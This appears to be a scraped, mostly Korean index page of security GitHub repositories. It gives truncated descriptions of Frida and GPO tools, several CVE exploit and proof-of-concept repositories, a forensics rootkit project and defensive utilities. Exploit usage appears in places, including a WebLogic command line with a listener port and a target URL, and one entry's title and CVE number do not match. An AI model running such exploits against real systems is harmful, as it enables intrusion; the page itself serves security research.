MaFrida

MaFrida 부팅 시 Frida 서버를 자동으로 시작하고 Android에서 다양한 Frida 버전을 관리할 수 있는 편리한 명령줄 인터페이스를 제공하는 간단하면서도 강력한 Magisk 모듈입니다. 기능 부팅 시 frida-server를 자동으로 시작합니다. 다양한 Frida 버전 간에 쉽게 전환할 수 있습니다. 경량 CLI 도구: mafrida, frida-server의 다운로드, 시작, 종료, 상태 확인을 위한 내장 명령어. 부팅 시 frida-server 활성화/비활성화. 설치 1. Magisk Manager를 통해 모듈...

GPOZaurr

GPOZaurr Group Policy Eater는 그룹 정책에 대한 정보를 수집하고, 발견된 문제를 수정할 수 있는 PowerShell 모듈입니다. GPOZaurr 는 그룹 정책과 해당 설정에 대한 360도 정보를 제공합니다. 단일 명령Invoke-GPOZaurr으로 다음 보고서를 제공합니다: GPOBroken GPOBrokenLink GPOOwners GPOConsistency GPODuplicates GPOOrganizationalUnit GPOList GPOLinks GPOPassword GPOPermissions...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat 구성 요소 역직렬화 취약점 CVE-2017-10271 탐지 및 익스플로잇 스크립트 사용법 $ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/ 기능 독립형 Python 스크립트 호스트 취약점 여부를 확인하는 점검 기능 Linux 대상을 위한 익스플로잇 기능 Metasploit 모듈 호스트 취약점 여부를 확인하는 점검 기능 모든 대상을 위한 익스플로잇 기능 스캐너...

CVE-2019-6340

CVE-2019-6340 Drupal8의 REST RCE, SA-CORE-2019-003 0x01 docker search CVE-2019-6340 NAME DESCRIPTION STARS OFFICIAL AUTOMATED knqyf263/cve-2019-6340 Environment for CVE-2019-6340 Drupal 0 cved/cve-2019-6340 cve-2019-6340 0 0x02 docker pull knqyf263/cve-2019-6340 Using default tag: latest latest:...

CVE-2018-10517

CVE-2018-12613 가짜 모듈 업로드 및 원격 웹 서버에 PHP 파일 드롭을 통한 인증된 원격 명령 실행. 영향을 받는 소프트웨어 1. CMS Made Simple 2.2.7; 사용 방법 이 PowerShell 스크립트는 익스플로잇 HTTP 요청을 구성하기 위해 두 개의 매개변수가 필요합니다: 1. CMS Made Simple URL 엔드포인트; 2. 인증되지 않은 사용자의 쿠키; 3. 원격 시스템 셸에서 실행할 명령 문자열; 예제 스크립트를 사용하기 위해 모든 매개변수를 준비합니다: 그러면 명령이 실행됩니다. 코드...

PF_RING

PFRING™ 소개 PFRING™은 리눅스 커널 모듈 및 사용자 공간 프레임워크로, 패킷 처리 애플리케이션에 일관된 API를 제공하면서 고속으로 패킷을 처리할 수 있게 해줍니다. 누가 PFRING™이 필요한가? 기본적으로 초당 많은 패킷을 처리해야 하는 모든 사람이 필요합니다. '많다'는 표현은 트래픽 분석에 사용하는 하드웨어에 따라 달라집니다. 1.2GHz ARM에서 초당 80k 패킷부터 저사양 2.5GHz Xeon에서 코어당 2천만 패킷 이상까지 다양합니다. PFRING™은 패킷 캡처 속도를 높일 뿐만 아니라 CPU 사이클...

PS2EXE

AI 무료 저장소 - 인공지능이 창의성과 우리의 본성을 죽이고 있습니다! PS2EXE Ingo Karstein의 훌륭한 스크립트를 개선한 GUI 지원 버전입니다. GUI 출력 및 입력은 하나의 스위치로 활성화되며, 실제 Windows 실행 파일이 생성됩니다. Powershell 5.x 호환 스크립트만 컴파일합니다. 선택적 그래픽 프론트엔드 Win-PS2EXE가 포함되어 있습니다. 모듈 버전입니다. 스크립트 기반 버전은 여기에서 찾을 수 있습니다 https://github.com/MScholtes/TechNet-Gallery...

CVE-2026-31431

CVE-2026-31431 Copy Fail - CVE-2026-31431 상세 정보 https://nvd.nist.gov/vuln/detail/CVE-2026-31431 https://copy.fail/exploit https://xint.io/blog/copy-fail-linux-distributions 테스트된 배포판 / 버전 배포판| 버전 ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1|...

CVE-2020-14372

CVE-2020-14372: 그다지 안전하지 않은 Secure Boot를 하나의 "간단한 트릭"으로 우회하기 취약점 세부 정보 어느 날 GRUB2 콘솔에 "help"를 입력했더니 정말 "재미있는" 명령들이 보였습니다: readbyte ADDR: ADDR에서 8비트 값 읽기 writebyte ADDR VAL: ADDR에 8비트 값 VAL 쓰기 나는 즉시 가장 재미있는 Secure Boot 우회 방법을 찾았다고 생각했지만, 이 명령들은 Secure Boot에서 다음과 같은 출력을 냅니다: error: Secure Boot...

linux-root-kit

이 프로젝트 소개 이 프로젝트는 Technische Hochschule Deggendorf의 디지털 포렌식Digitale Forensik 과정의 일환으로 개발되었습니다. 다음을 포함하는 전체 포렌식 조사 및 공격 시뮬레이션을 보여줍니다: 악성 PyPI 패키지를 사용한 Python 종속성 혼동 공격 취약한 sudo 버전CVE-2025-32463을 통한 권한 상승 Sliver C2 비콘 배포 커널 모듈 로딩, 시스템 콜 후킹, udev 기반 지속성을 갖춘 커스텀 루트킷 Volatility, NetworkMiner, 수동 리버싱과 ...

CVE-2025-47827

CVE-2025-47827 CVE-2025-47827에 대한 개념 증명 및 취약점 보고서. 목차 설명 공개 영향 탐지 완화 조치 바이너리 개념 증명 리소스 설명 IGEL OS v11 이전 버전에서는 igel-flash-driver 모듈이 암호화 서명을 부적절하게 검증하기 때문에 Secure Boot를 우회할 수 있습니다. 궁극적으로 검증되지 않은 SquashFS 이미지에서 조작된 루트 파일시스템을 마운트할 수 있습니다. IGEL OS 10의 igel-flash-driver Linux 커널 모듈에서 암호화 서명을 부적절하게 검증...

cve-2019-11477-poc

cve-2019-11477-poc 간단한 테스트 1. 두 개의 VM을 시작합니다 하나는 SSL 서버용, 다른 하나는 SSL 클라이언트용 2. 서버 서버 애플리케이션을 실행합니다 cd apps ./server.sh 7000 3. 클라이언트 필요한 패키지를 설치합니다 sudo apt-get install libmnl-dev sudo apt-get install libnetfilter-queue-dev 4. 클라이언트 클라이언트 VM의 /etc/hosts에 레코드를 하나 추가합니다 www.alice.com 5. 클라이언트 클라이언트...

CVE-2023-28432-metasploit-scanner

CVE-2023-28432-metasploit-scanner MinIO 情報漏洩脆弱性スキャナー（Metasploit製） POCの準備 git clone https://github.com/TaroballzChen/CVE-2023-28432-metasploit-scanner cd CVE-2023-28432-metasploit-scanner mkdir -p /.msf4/modules/auxiliary/scanner/http cp minioinformationdisclosure.py...

CVE-2023-30533

POC - CVE-2023-30533 CVE-2023-30533에 대한 POC 다음에서 복사: https://cdn.sheetjs.com/advisories/CVE-2023-30533: SheetJS Community Edition의 모든 릴리스버전 0.19.2까지가 영향을 받습니다. 여기에는 다음이 포함됩니다: - 버전 0.19.2까지의 SheetJS CDN에 있는 스크립트 및 모듈 2 - npmjs.com에 xlsx 이름으로 게시된 모듈 3 - npmjs.com의 xlsx 패키지를 가져오는 타사 CDN의 스크립트 4 5 -...

stegcloak

StegCloak Плащ-невидимка для ваших текстов StegCloak — это чистый JavaScript-модуль стеганографии, разработанный в функциональном стиле программирования, для скрытия секретов внутри текста путём сжатия и шифрования секрета перед его маскировкой специальными невидимыми символами Unicode. Его можно...

CVE-2026-42945-POC

CVE-2026-42945 NGINX Rift - HTB 대비 익스플로잇 2024년에 발견된 NGINX 힙 버퍼 오버플로 취약점에 대한 독립 실행형 익스플로잇입니다. 이 버전은 Docker 컨테이너를 설정할 수 없는 HackTheBox 및 CTF 환경에 최적화되어 있습니다. 취약점 세부 정보 CVE-2026-42945 는 2008년버전 0.6.27부터 존재해 온 NGINX ngxhttprewritemodule의 치명적인 힙 버퍼 오버플로입니다. 이 버그는 다음 상황에서 발생합니다: 1. rewrite 지시문의 대체 문자열에 ?...

Invoke-ArgFuscator

░█░█▄░█░█▒█░▄▀▄░█▄▀▒██▀░▒░ ▄▀▄▒█▀▄░▄▀▒▒█▀░█▒█░▄▀▀░▄▀▀▒▄▀▄░▀█▀░▄▀▄▒█▀▄░ ░█░█▒▀█░▀▄▀░▀▄▀░█▒█░█▄▄░▀▀░█▀█░█▀▄░▀▄█░█▀░▀▄█▒▄██░▀▄▄░█▀█░▒█▒░▀▄▀░█▀▄░ Invoke-ArgFuscator Invoke-ArgFuscator는 Windows, Linux, macOS에서 흔히 사용되는 시스템 기본 실행 파일용 난독화된 명령줄을 생성하는 데 도움이 되는 오픈소스 크로스플랫폼 PowerShell 모듈입니다. 👉 ArgFuscator의 대...

CVE-2022-34963

OpenTeknik LLC OSSN 오픈소스 소셜 네트워크 v6.3 LTS 취약점 설명: OpenTeknik LLC OSSN 오픈소스 소셜 네트워크 v6.3 LTS에서 News Feed 모듈을 통해 저장형 크로스 사이트 스크립팅XSS 취약점이 발견되었습니다. 공격 벡터: 공격자는 저장형 XSS를 악용하기 위해 "news feed"에 무언가를 게시하고 위치 입력란에 XSS 페이로드를 삽입해야 합니다. XSS 페이로드는 제출 직후 실행됩니다. 영향을 받는 대상: http://ipaddress:port/ossn/home POST...

CVE-2021-41773

CVE-2021-41773 재현 https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited v2.4.49 Apache 전용 취약점입니다. 초기 버전에는 apnormalizepath 함수가 없었으며, 이 함수는 v2.4.49 버전에서 도입되었습니다. 이 함수가 디렉터리 트래버설을 유발했으며, v2.4.50에서 수정되었습니다. 환경 https://github.com/1nhann/CVE-2021-41773 이...

parsedmarc

parsedmarc parsedmarc은 DMARC 보고서를 파싱하기 위한 Python 모듈이자 CLI 유틸리티입니다. Elasticsearch 및 Kibana또는 Splunk, 또는 OpenSearch 및 Grafana와 함께 사용하면 Agari Brand Protection, Dmarcian, OnDMARC, ProofPoint Email Fraud Defense, Valimail과 같은 상용 DMARC 보고서 처리 서비스의 자체 호스팅 오픈소스 대안으로 작동합니다. !NOTE 도메인 기반 메시지 인증, 보고 및...